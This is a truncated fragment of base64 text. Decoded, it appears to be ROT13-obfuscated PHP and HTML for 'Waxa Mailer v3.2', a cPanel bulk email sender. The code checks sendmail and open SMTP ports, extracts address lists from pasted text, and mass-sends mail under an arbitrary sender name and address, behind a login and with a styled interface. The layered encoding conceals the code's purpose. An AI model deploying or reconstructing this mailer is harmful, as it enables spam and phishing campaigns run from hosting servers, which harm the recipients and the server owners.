BmcmFxem52eSBjbmd1ZgogICAgJGZyYXF6bnZ5X2NuZ3VmID0gWwogICAgICAgICcvaGZlL2ZvdmEvZnJhcXpudnknLAogICAgICAgICcvaGZlL3l2by9mcmFxem52eScsIAogICAgICAgICcvaGZlL3licG55L2ZvdmEvZnJhcXpudnknLAogICAgICAgICcvaGZlL292YS9mcmFxem52eScsCiAgICAgICAgJy9oZmUvZm92YS9ya3Z6JwogICAgXTsKICAgIAogICAgc2Jlcm5wdSgkZnJhcXpudnlfY25ndWYgbmYgJGNuZ3UpIHsKICAgICAgICAkcHVycHhmWyRjbmd1XSA9IHN2eXJfcmt2ZmdmKCRjbmd1KSA/ICc8ZmNuYSBweW5mZj0iZ3JrZy1maHBwcmZmIj7inJMgUmt2ZmdmPC9mY25hPicgOiAnPGZjbmEgcHluZmY9Imdya2ctemhncnEiPkFiZyBzYmhhcTwvZmNuYT4nOwogICAgfQogICAgCiAgICAvLyBQdXJweCB6bnZ5KCkgc2hhcGd2YmEKICAgICRwdXJweGZbJ3pudnkoKSBzaGFwZ3ZiYSddID0gc2hhcGd2YmFfcmt2ZmdmKCd6bnZ5JykgPyAnPGZjbmEgcHluZmY9Imdya2ctZmhwcHJmZiI+4pyTIFJhbm95cnE8L2ZjbmE+JyA6ICc8ZmNuYSBweW5mZj0iZ3JrZy1xbmF0cmUiPuKclyBRdmZub3lycTwvZmNuYT4nOwogICAgCiAgICAvLyBQdXJweCBGWkdDIGNiZWdmCiAgICAkY2JlZ2YgPSBbMjUsIDU4NywgNDY1XTsKICAgIHNiZXJucHUoJGNiZWdmIG5mICRjYmVnKSB7CiAgICAgICAgJGZicHggPSBAc2ZicHhiY3JhKCd5YnBueXViZmcnLCAkY2JlZywgJHJlZWFiLCAkcmVlZmdlLCAyKTsKICAgICAgICB2cygkZmJweCkgewogICAgICAgICAgICAkcHVycHhmWyJDYmVnICRjYmVnIl0gPSAnPGZjbmEgcHluZmY9Imdya2ctZmhwcHJmZiI+4pyTIEJjcmE8L2ZjbmE+JzsKICAgICAgICAgICAgc3B5YmZyKCRmYnB4KTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkcHVycHhmWyJDYmVnICRjYmVnIl0gPSAnPGZjbmEgcHluZmY9Imdya2ctam5lYXZhdCI+4pyXIFB5YmZycTwvZmNuYT4nOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUHVycHggQ1VDIHZhdiBmcmdndmF0ZgogICAgJGZyYXF6bnZ5X2NuZ3UgPSB2YXZfdHJnKCdmcmFxem52eV9jbmd1Jyk7CiAgICAkcHVycHhmWydmcmFxem52eV9jbmd1J10gPSAkZnJhcXpudnlfY25ndSA/ICc8ZmNuYSBweW5mZj0iZ3JrZy1maHBwcmZmIj4nIC4gdWd6eWZjcnB2bnlwdW5lZigkZnJhcXpudnlfY25ndSkgLiAnPC9mY25hPicgOiAnPGZjbmEgcHluZmY9Imdya2ctam5lYXZhdCI+QWJnIGZyZzwvZmNuYT4nOwogICAgCiAgICBlcmdoZWEgJHB1cnB4ZjsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gTkhHVVJBR1ZQTkdWQkEgUFVSUFggPT09PT09PT09PT09PT09PT09PT0KcHVycHhOaGd1KCk7CgovLyA9PT09PT09PT09PT09PT09PT09PSBVTkFRWVIgWUJUQkhHID09PT09PT09PT09PT09PT09PT09CnZzKHZmZnJnKCRfVFJHWyd5YnRiaGcnXSkpIHsKICAgIGZyZmZ2YmFfcXJmZ2VibCgpOwogICAgZnJmZnZiYV9mZ25lZygpOwogICAgZnJmZnZiYV9lcnRyYXJlbmdyX3ZxKGdlaHIpOwogICAgCiAgICAvLyBQeXJuZSBueXkgZnJmZnZiYSBxbmduCiAgICAkX0ZSRkZWQkEgPSBuZWVubCgpOwogICAgCiAgICAvLyBFcnF2ZXJwZyBnYiB5YnR2YQogICAgdXJucXJlKCJZYnBuZ3ZiYTogIiAuIGZnZWdieCgkX0ZSRUlSRVsnRVJESFJGR19IRVYnXSwgJz8nKSk7CiAgICBya3ZnOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBWQVZHVk5ZVk1SIFpOVllSRSA9PT09PT09PT09PT09PT09PT09PQokem52eXJlID0gYXJqIEpua25abnZ5RnJhcXJlKCk7CiRmcmFnX3BiaGFnID0gMDsKJHNudnlycV9wYmhhZyA9IDA7CiRmbGZncnpfcHVycHhmID0gcHVycHhabnZ5RmxmZ3J6KCk7CiR5YnRmID0gW107CgovLyA9PT09PT09PT09PT09PT09PT09PSBDRUJQUkZGIFNCRVogRkhPWlZGRlZCQUYgPT09PT09PT09PT09PT09PT09PT0KdnMoJF9GUkVJUkVbJ0VSREhSRkdfWlJHVUJRJ10gPT0gJ0NCRkcnICYmIHZmZnJnKCRfQ0JGR1snbnBndmJhJ10pKSB7CiAgICB2cygkX0NCRkdbJ25wZ3ZiYSddID09ICdmcmFxJykgewogICAgICAgICRzZWJ6X3J6bnZ5ID0gJF9DQkZHWydzZWJ6X3J6bnZ5J10gPz8gJyc7CiAgICAgICAgJHNlYnpfYW56ciA9ICRfQ0JGR1snc2Viel9hbnpyJ10gPz8gJyc7CiAgICAgICAgJGZob3dycGcgPSAkX0NCRkdbJ2Zob3dycGcnXSA/PyAnJzsKICAgICAgICAkenJmZm50ciA9ICRfQ0JGR1snenJmZm50ciddID8/ICcnOwogICAgICAgICRyem52eV95dmZnID0gJF9DQkZHWydyem52eV95dmZnJ10gPz8gJyc7CiAgICAgICAgJHZmX3VnenkgPSB2ZmZyZygkX0NCRkdbJ3ZmX3VnenknXSkgPyBnZWhyIDogc255ZnI7CiAgICAgICAgJHFyeW5sID0gdmFnaW55KCRfQ0JGR1sncXJ5bmwnXSA/PyAxMDAwMDApOwogICAgICAgIAogICAgICAgIC8vIElueXZxbmdyIHNlYnogcnpudnkKICAgICAgICB2cyhyemNnbCgkc2Viel9yem52eSkgfHwgIXZmSW55dnFSem52eSgkc2Viel9yem52eSkpIHsKICAgICAgICAgICAgJHlidGZbXSA9ICc8cXZpIHB5bmZmPSJueXJlZyBueXJlZy1xbmF0cmUiPlJlZWJlOiBWYWlueXZxIGZyYXFyZSByem52eSBucXFlcmZmPC9xdmk+JzsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkcnpudnlmID0gcmtjeWJxcigiXGEiLCAkcnpudnlfeXZmZyk7CiAgICAgICAgICAgICRyem52eWYgPSBuZWVubF96bmMoJ2dldnonLCAkcnpudnlmKTsKICAgICAgICAgICAgJHJ6bnZ5ZiA9IG5lZW5sX3N2eWdyZSgkcnpudnlmLCAndmZJbnl2cVJ6bnZ5Jyk7CiAgICAgICAgICAgIAogICAgICAgICAgICB2cyhyemNnbCgkcnpudnlmKSkgewogICAgICAgICAgICAgICAgJHlidGZbXSA9ICc8cXZpIHB5bmZmPSJueXJlZyBueXJlZy1qbmVhdmF0Ij5KbmVhdmF0OiBBYiBpbnl2cSByem52eSBucXFlcmZmcmYgc2JoYXE8L3F2aT4nOwogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgJGdiZ255ID0gcGJoYWcoJHJ6bnZ5Zik7CiAgICAgICAgICAgICAgICAkcGJoYWdyZSA9IDE7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHNiZXJucHUoJHJ6bnZ5ZiBuZiAkcnpudnkpIHsKICAgICAgICAgICAgICAgICAgICAkcHlybmVfZmhvd3JwZyA9IGpua25QeXJuZSgkZmhvd3JwZywgJHJ6bnZ5KTsKICAgICAgICAgICAgICAgICAgICAkcHlybmVfenJmZm50ciA9IGpua25QeXJuZSgkenJmZm50ciwgJHJ6bnZ5KTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAkZXJmaHlnID0gJHpudnlyZS0+ZnJhcVJ6bnZ5KCRyem52eSwgJHB5cm5lX2Zob3dycGcsICRweXJuZV96cmZmbnRyLCAkc2Viel9yem52eSwgJHNlYnpfYW56ciwgJHZmX3VnenkpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIHZzKCRlcmZoeWdbJ2ZocHByZmYnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZnJhZ19wYmhhZysrOwogICAgICAgICAgICAgICAgICAgICAgICAkeWJ0ZltdID0gIjxxdmkgcHluZmY9J255cmVnIG55cmVnLWZocHByZmYnPlskcGJoYWdyZS8kZ2JnbnldIOKckyBGcmFnIGdiOiAkcnpudnkgPGZ6bnl5Pihacmd1YnE6IHskZXJmaHlnWyd6cmd1YnEnXX0pPC9mem55eT48L3F2aT4iOwogICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzbnZ5cnFfcGJoYWcrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJHlidGZbXSA9ICI8cXZpIHB5bmZmPSdueXJlZyBueXJlZy1xbmF0cmUnPlskcGJoYWdyZS8kZ2JnbnldIOKclyBTbnZ5cnE6ICRyem52eSA8ZnpueXk+LSB7JGVyZmh5Z1sncmVlYmUnXX08L2Z6bnl5PjwvcXZpPiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICRwYmhhZ3JlKys7CiAgICAgICAgICAgICAgICAgICAgQGJvX3N5aGZ1KCk7CiAgICAgICAgICAgICAgICAgICAgQHN5aGZ1KCk7CiAgICAgICAgICAgICAgICAgICAgaGZ5cnJjKCRxcnlubCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IHJ5ZnJ2cygkX0NCRkdbJ25wZ3ZiYSddID09ICdya2dlbnBnJykgewogICAgICAgICRncmtnID0gJF9DQkZHWydya2dlbnBnX2dya2cnXSA/PyAnJzsKICAgICAgICAkcnpudnlmID0gcmtnZW5wZ1J6bnZ5ZlNlYnpHcmtnKCRncmtnKTsKICAgICAgICAkcnpudnlfeXZmZyA9IHZ6Y3licXIoIlxhIiwgJHJ6bnZ5Zik7CiAgICAgICAgJHlidGZbXSA9ICc8cXZpIHB5bmZmPSJueXJlZyBueXJlZy1maHBwcmZmIj7inJMgUmtnZW5wZ3JxICcgLiBwYmhhZygkcnpudnlmKSAuICcgcnpudnkgbnFxZXJmZnJmPC9xdmk+JzsKICAgIH0gcnlmcnZzKCRfQ0JGR1snbnBndmJhJ10gPT0gJ2dyZmcnKSB7CiAgICAgICAgJGdyZmdfcnpudnkgPSAkX0NCRkdbJ2dyZmdfcnpudnknXSA/PyAnJzsKICAgICAgICB2cyh2ZklueXZxUnpudnkoJGdyZmdfcnpudnkpKSB7CiAgICAgICAgICAgICRlcmZoeWcgPSAkem52eXJlLT5mcmFxUnpudnkoCiAgICAgICAgICAgICAgICAkZ3JmZ19yem52eSwKICAgICAgICAgICAgICAgICdHcmZnIHNlYnogSm5rbiBabnZ5cmUgaTMuMicsCiAgICAgICAgICAgICAgICAnR3V2ZiB2ZiBuIGdyZmcgcnpudnkgZnJhZyBzZWJ6IEpua24gWm52eXJlIGkzLjIuIFZzIGxiaCBlcnBydmlyIGd1dmYsIGxiaGUgcnpudnkgZmxmZ3J6IHZmIGpiZXh2YXQgcGJlZXJwZ3lsLicsCiAgICAgICAgICAgICAgICAkX0NCRkdbJ3NlYnpfcnpudnknXSA/PyAnYWJlcmN5bEAnIC4gJF9GUkVJUkVbJ1VHR0NfVUJGRyddLAogICAgICAgICAgICAgICAgJ0pua24gR3JmZycsCiAgICAgICAgICAgICAgICBnZWhyCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIAogICAgICAgICAgICB2cygkZXJmaHlnWydmaHBwcmZmJ10pIHsKICAgICAgICAgICAgICAgICR5YnRmW10gPSAnPHF2aSBweW5mZj0ibnlyZWcgbnlyZWctZmhwcHJmZiI+4pyTIEdyZmcgcnpudnkgZnJhZyBmaHBwcmZmc2h5eWwhIDxmem55eT4oWnJndWJxOiAnIC4gJGVyZmh5Z1snenJndWJxJ10gLiAnKTwvZnpueXk+PC9xdmk+JzsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICR5YnRmW10gPSAnPHF2aSBweW5mZj0ibnlyZWcgbnlyZWctcW5hdHJlIj7inJcgR3JmZyBzbnZ5cnE6ICcgLiAkZXJmaHlnWydyZWViZSddIC4gJzwvcXZpPic7CiAgICAgICAgICAgIH0KICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkeWJ0ZltdID0gJzxxdmkgcHluZmY9Im55cmVnIG55cmVnLXFuYXRyZSI+Q3lybmZyIHJhZ3JlIG4gaW55dnEgZ3JmZyByem52eSBucXFlcmZmPC9xdmk+JzsKICAgICAgICB9CiAgICB9Cn0KPz4KPCFRQlBHTENSIHVnenk+Cjx1Z3p5IHluYXQ9InJhIj4KPHVybnE+CiAgICA8enJnbiBwdW5lZnJnPSJIR1MtOCI+CiAgICA8enJnbiBhbnpyPSJpdnJqY2JlZyIgcGJhZ3JhZz0ianZxZ3U9cXJpdnByLWp2cWd1LCB2YXZndm55LWZwbnlyPTEuMCI+CiAgICA8Z3ZneXI+Sm5rbiBabnZ5cmUgaTMuMiAtIEh5Z3Z6bmdyIHBDbmFyeSBPaHl4IFJ6bnZ5IEZyYXFyZTwvZ3ZneXI+CiAgICA8eXZheCB1ZXJzPSJ1Z2djZjovL3BxYS53ZnFyeXZpZS5hcmcvYWN6L29iYmdmZ2VuY0A1LjEuMy9xdmZnL3BmZi9vYmJnZmdlbmMuenZhLnBmZiIgZXJ5PSJmZ2x5cmZ1cnJnIj4KICAgIDx5dmF4IGVyeT0iZmdseXJmdXJyZyIgdWVycz0idWdnY2Y6Ly9wcWEud2Zxcnl2aWUuYXJnL2Fjei9vYmJnZmdlbmMtdnBiYWZAMS44LjEvc2JhZy9vYmJnZmdlbmMtdnBiYWYucGZmIj4KICAgIDx5dmF4IGVyeT0iZmdseXJmdXJyZyIgdWVycz0idWdnY2Y6Ly9wcWF3Zi5weWJocXN5bmVyLnBiei9ud25rL3l2b2Yvc2JhZy1uanJmYnpyLzYuMC4wL3BmZi9ueXkuenZhLnBmZiI+CiAgICA8ZmdseXI+CiAgICAgICAgOmViYmcgewogICAgICAgICAgICAtLWNldnpuZWw6ICM2Njdycm47CiAgICAgICAgICAgIC0tZnJwYmFxbmVsOiAjNzY0b24yOwogICAgICAgICAgICAtLWZocHByZmY6ICMxMG85ODE7CiAgICAgICAgICAgIC0tcW5hdHJlOiAjcnM0NDQ0OwogICAgICAgICAgICAtLWpuZWF2YXQ6ICNzNTlyMG87CiAgICAgICAgICAgIC0tdmFzYjogIzNvODJzNjsKICAgICAgICAgICAgLS1xbmV4OiAjMXMyOTM3OwogICAgICAgICAgICAtLXl2dHVnOiAjczlzbnNvOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBvYnFsIHsKICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgI3M1czdzbiAwJSwgI3I0cjhzMCAxMDAlKTsKICAgICAgICAgICAgenZhLXVydnR1ZzogMTAwaXU7CiAgICAgICAgICAgIHNiYWctc256dnlsOiAnVmFncmUnLCAtbmNjeXItZmxmZ3J6LCBPeXZheFpucEZsZmdyelNiYWcsICdGcnRiciBIVicsIEVib2JnYiwgZm5hZi1mcmV2czsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFuaW9uZSB7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGp1dmdyOwogICAgICAgICAgICBvYmstZnVucWJqOiAwIDRjayAyMGNrIGV0b24oMCwwLDAsMC4wOCk7CiAgICAgICAgICAgIGNucXF2YXQ6IDE1Y2sgMDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFuaW9uZS1vZW5hcSB7CiAgICAgICAgICAgIHNiYWctanJ2dHVnOiA4MDA7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsIGluZSgtLWNldnpuZWwpLCBpbmUoLS1mcnBiYXFuZWwpKTsKICAgICAgICAgICAgLWpyb3h2Zy1vbnB4dGViaGFxLXB5dmM6IGdya2c7CiAgICAgICAgICAgIC1qcm94dmctZ3JrZy1zdnl5LXBieWJlOiBnZW5hZmNuZXJhZzsKICAgICAgICAgICAgb25weHRlYmhhcS1weXZjOiBncmtnOwogICAgICAgICAgICBzYmFnLWZ2bXI6IDEuOGVyejsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnBuZXEgewogICAgICAgICAgICBvYmVxcmU6IGFiYXI7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDE1Y2s7CiAgICAgICAgICAgIG9iay1mdW5xYmo6IDAgMTBjayAzMGNrIGV0b24oMCwwLDAsMC4wOCk7CiAgICAgICAgICAgIGdlbmFmdmd2YmE6IG55eSAwLjNmIHJuZnI7CiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDI0Y2s7CiAgICAgICAgICAgIGJpcmVzeWJqOiB1dnFxcmE7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wbmVxOnViaXJlIHsKICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC01Y2spOwogICAgICAgICAgICBvYmstZnVucWJqOiAwIDE1Y2sgNDBjayBldG9uKDAsMCwwLDAuMTIpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucG5lcS11cm5xcmUgewogICAgICAgICAgICBvbnB4dGViaGFxOiBqdXZncjsKICAgICAgICAgICAgb2JlcXJlLW9iZ2diejogMmNrIGZieXZxICNzMHMwczA7CiAgICAgICAgICAgIGNucXF2YXQ6IDIwY2sgMjVjazsKICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IDYwMDsKICAgICAgICAgICAgc2JhZy1mdm1yOiAxLjJlcno7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wbmVxLW9icWwgewogICAgICAgICAgICBjbnFxdmF0OiAyNWNrOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAub2dhLWNldnpuZWwgewogICAgICAgICAgICBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1jZXZ6bmVsKSwgaW5lKC0tZnJwYmFxbmVsKSk7CiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsKICAgICAgICAgICAgY25xcXZhdDogMTJjayAyOGNrOwogICAgICAgICAgICBzYmFnLWpydnR1ZzogNjAwOwogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrOwogICAgICAgICAgICBnZW5hZnZndmJhOiBueXkgMC4zZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm9nYS1jZXZ6bmVsOnViaXJlIHsKICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0yY2spOwogICAgICAgICAgICBvYmstZnVucWJqOiAwIDEwY2sgMjBjayBldG9uKDEwMiwgMTI2LCAyMzQsIDAuMyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zYmV6LXBiYWdlYnksIC5zYmV6LWZyeXJwZyB7CiAgICAgICAgICAgIG9iZXFyZTogMmNrIGZieXZxICNyNXI3cm87CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7CiAgICAgICAgICAgIGNucXF2YXQ6IDEyY2sgMTZjazsKICAgICAgICAgICAgc2JhZy1mdm1yOiAxZXJ6OwogICAgICAgICAgICBnZW5hZnZndmJhOiBueXkgMC4zZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnNiZXotcGJhZ2VieTpzYnBoZiwgLnNiZXotZnJ5cnBnOnNicGhmIHsKICAgICAgICAgICAgb2JlcXJlLXBieWJlOiBpbmUoLS1jZXZ6bmVsKTsKICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAwIDAgM2NrIGV0b24oMTAyLCAxMjYsIDIzNCwgMC4xKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFuaS1nbm9mIHsKICAgICAgICAgICAgb2JlcXJlLW9iZ2diejogMmNrIGZieXZxICNyNXI3cm87CiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDI1Y2s7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5hbmktZ25vZiAuYW5pLXl2YXggewogICAgICAgICAgICBvYmVxcmU6IGFiYXI7CiAgICAgICAgICAgIHBieWJlOiAjNm83MjgwOwogICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOwogICAgICAgICAgICBjbnFxdmF0OiAxMmNrIDI0Y2s7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2sgMTBjayAwIDA7CiAgICAgICAgICAgIHpuZXR2YS1ldnR1ZzogNWNrOwogICAgICAgICAgICBnZW5hZnZndmJhOiBueXkgMC4zZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFuaS1nbm9mIC5hbmkteXZheDp1YmlyZSB7CiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1jZXZ6bmVsKTsKICAgICAgICAgICAgb25weHRlYmhhcTogZXRvbigxMDIsIDEyNiwgMjM0LCAwLjA1KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFuaS1nbm9mIC5hbmkteXZheC5ucGd2aXIgewogICAgICAgICAgICBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1jZXZ6bmVsKSwgaW5lKC0tZnJwYmFxbmVsKSk7CiAgICAgICAgICAgIHBieWJlOiBqdXZncjsKICAgICAgICAgICAgb2JlcXJlOiBhYmFyOwogICAgICAgICAgICBvYmstZnVucWJqOiAwIDRjayAxNWNrIGV0b24oMTAyLCAxMjYsIDIzNCwgMC4zKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZnbmdmLXBuZXEgewogICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7CiAgICAgICAgICAgIGNucXF2YXQ6IDI1Y2s7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEyY2s7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGp1dmdyOwogICAgICAgICAgICBnZW5hZnZndmJhOiBueXkgMC4zZjsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZnbmdmLXBuZXE6dWJpcmUgewogICAgICAgICAgICBnZW5hZnNiZXo6IGdlbmFmeW5nckwoLTNjayk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5mZ25nZi12cGJhIHsKICAgICAgICAgICAgc2JhZy1mdm1yOiAyLjVlcno7CiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDE1Y2s7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsIGluZSgtLWNldnpuZWwpLCBpbmUoLS1mcnBiYXFuZWwpKTsKICAgICAgICAgICAgLWpyb3h2Zy1vbnB4dGViaGFxLXB5dmM6IGdya2c7CiAgICAgICAgICAgIC1qcm94dmctZ3JrZy1zdnl5LXBieWJlOiBnZW5hZmNuZXJhZzsKICAgICAgICAgICAgb25weHRlYmhhcS1weXZjOiBncmtnOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZmduZ2YtYWh6b3JlIHsKICAgICAgICAgICAgc2JhZy1mdm1yOiAyLjJlcno7CiAgICAgICAgICAgIHNiYWctanJ2dHVnOiA3MDA7CiAgICAgICAgICAgIHpuZXR2YTogMTBjayAwOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuenJndWJxLW9ucXRyIHsKICAgICAgICAgICAgc2JhZy1mdm1yOiAwLjc1ZXJ6OwogICAgICAgICAgICBjbnFxdmF0OiA0Y2sgMTBjazsKICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogMjBjazsKICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IDYwMDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLm9ucXRyLWNldnpuZWwgeyBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1jZXZ6bmVsKSwgaW5lKC0tZnJwYmFxbmVsKSk7IH0KICAgICAgICAub25xdHItZmhwcHJmZiB7IG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZygxMzVxcnQsIGluZSgtLWZocHByZmYpLCAjMDU5NjY5KTsgfQogICAgICAgIC5vbnF0ci12YXNiIHsgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKDEzNXFydCwgaW5lKC0tdmFzYiksICMyNTYzcm8pOyB9CiAgICAgICAgLm9ucXRyLWpuZWF2YXQgeyBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1qbmVhdmF0KSwgI3E5NzcwNik7IH0KICAgICAgICAKICAgICAgICAueWJ0LXBiYWdudmFyZSB7CiAgICAgICAgICAgIHpuay11cnZ0dWc6IDQwMGNrOwogICAgICAgICAgICBiaXJlc3liai1sOiBuaGdiOwogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1xbmV4KTsKICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOwogICAgICAgICAgICBjbnFxdmF0OiAyMGNrOwogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrOwogICAgICAgICAgICBzYmFnLXNuenZ5bDogJ1BiaGV2cmUgQXJqJywgemJhYmZjbnByOwogICAgICAgICAgICBzYmFnLWZ2bXI6IDAuOWVyejsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnlidC1maHBwcmZmIHsgcGJ5YmU6ICM0bnFyODA7IH0KICAgICAgICAueWJ0LXJlZWJlIHsgcGJ5YmU6ICNzODcxNzE7IH0KICAgICAgICAueWJ0LWpuZWF2YXQgeyBwYnliZTogI3Nvb3MyNDsgfQogICAgICAgIC55YnQtdmFzYiB7IHBieWJlOiAjNjBuNXNuOyB9CiAgICAgICAgCiAgICAgICAgLmdyemN5bmdyLXBuZXEgewogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7CiAgICAgICAgICAgIGdlbmFmdmd2YmE6IG55eSAwLjNmOwogICAgICAgICAgICBvYmVxcmU6IDJjayBxbmZ1cnEgI3ExcTVxbzsKICAgICAgICAgICAgdXJ2dHVnOiAxMDAlOwogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMmNrOwogICAgICAgICAgICBjbnFxdmF0OiAyNWNrOwogICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGp1dmdyOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZ3J6Y3luZ3ItcG5lcTp1YmlyZSB7CiAgICAgICAgICAgIG9iZXFyZS1wYnliZTogaW5lKC0tY2V2em5lbCk7CiAgICAgICAgICAgIGdlbmFmc2JlejogZ2VuYWZ5bmdyTCgtNWNrKTsKICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAxMGNrIDI1Y2sgZXRvbigwLDAsMCwwLjEpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZ3J6Y3luZ3ItdnBiYSB7CiAgICAgICAgICAgIHNiYWctZnZtcjogMi41ZXJ6OwogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxNWNrOwogICAgICAgICAgICBvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoMTM1cXJ0LCBpbmUoLS1jZXZ6bmVsKSwgaW5lKC0tZnJwYmFxbmVsKSk7CiAgICAgICAgICAgIC1qcm94dmctb25weHRlYmhhcS1weXZjOiBncmtnOwogICAgICAgICAgICAtanJveHZnLWdya2ctc3Z5eS1wYnliZTogZ2VuYWZjbmVyYWc7CiAgICAgICAgICAgIG9ucHh0ZWJoYXEtcHl2YzogZ3JrZzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZsZmdyei1wdXJweC12Z3J6IHsKICAgICAgICAgICAgY25xcXZhdDogMTVjazsKICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMTBjazsKICAgICAgICAgICAgb25weHRlYmhhcTogI3M5c25zbzsKICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogOGNrOwogICAgICAgICAgICBvYmVxcmUteXJzZzogNGNrIGZieXZxICNxMXE1cW87CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5mbGZncnotcHVycHgtdmdyei5maHBwcmZmIHsgb2JlcXJlLXlyc2ctcGJ5YmU6IGluZSgtLWZocHByZmYpOyB9CiAgICAgICAgLmZsZmdyei1wdXJweC12Z3J6LmpuZWF2YXQgeyBvYmVxcmUteXJzZy1wYnliZTogaW5lKC0tam5lYXZhdCk7IH0KICAgICAgICAuZmxmZ3J6LXB1cnB4LXZncnoucW5hdHJlIHsgb2JlcXJlLXlyc2ctcGJ5YmU6IGluZSgtLXFuYXRyZSk7IH0KICAgICAgICAKICAgICAgICAuZ250LW9nYSB7CiAgICAgICAgICAgIG9iZXFyZTogMWNrIGZieXZxICNxMXE1cW87CiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGp1dmdyOwogICAgICAgICAgICBwYnliZTogIzZvNzI4MDsKICAgICAgICAgICAgY25xcXZhdDogNmNrIDEyY2s7CiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDZjazsKICAgICAgICAgICAgc2JhZy1mdm1yOiAwLjg1ZXJ6OwogICAgICAgICAgICB6bmV0dmE6IDJjazsKICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogbnl5IDAuMmY7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5nbnQtb2dhOnViaXJlIHsKICAgICAgICAgICAgb25weHRlY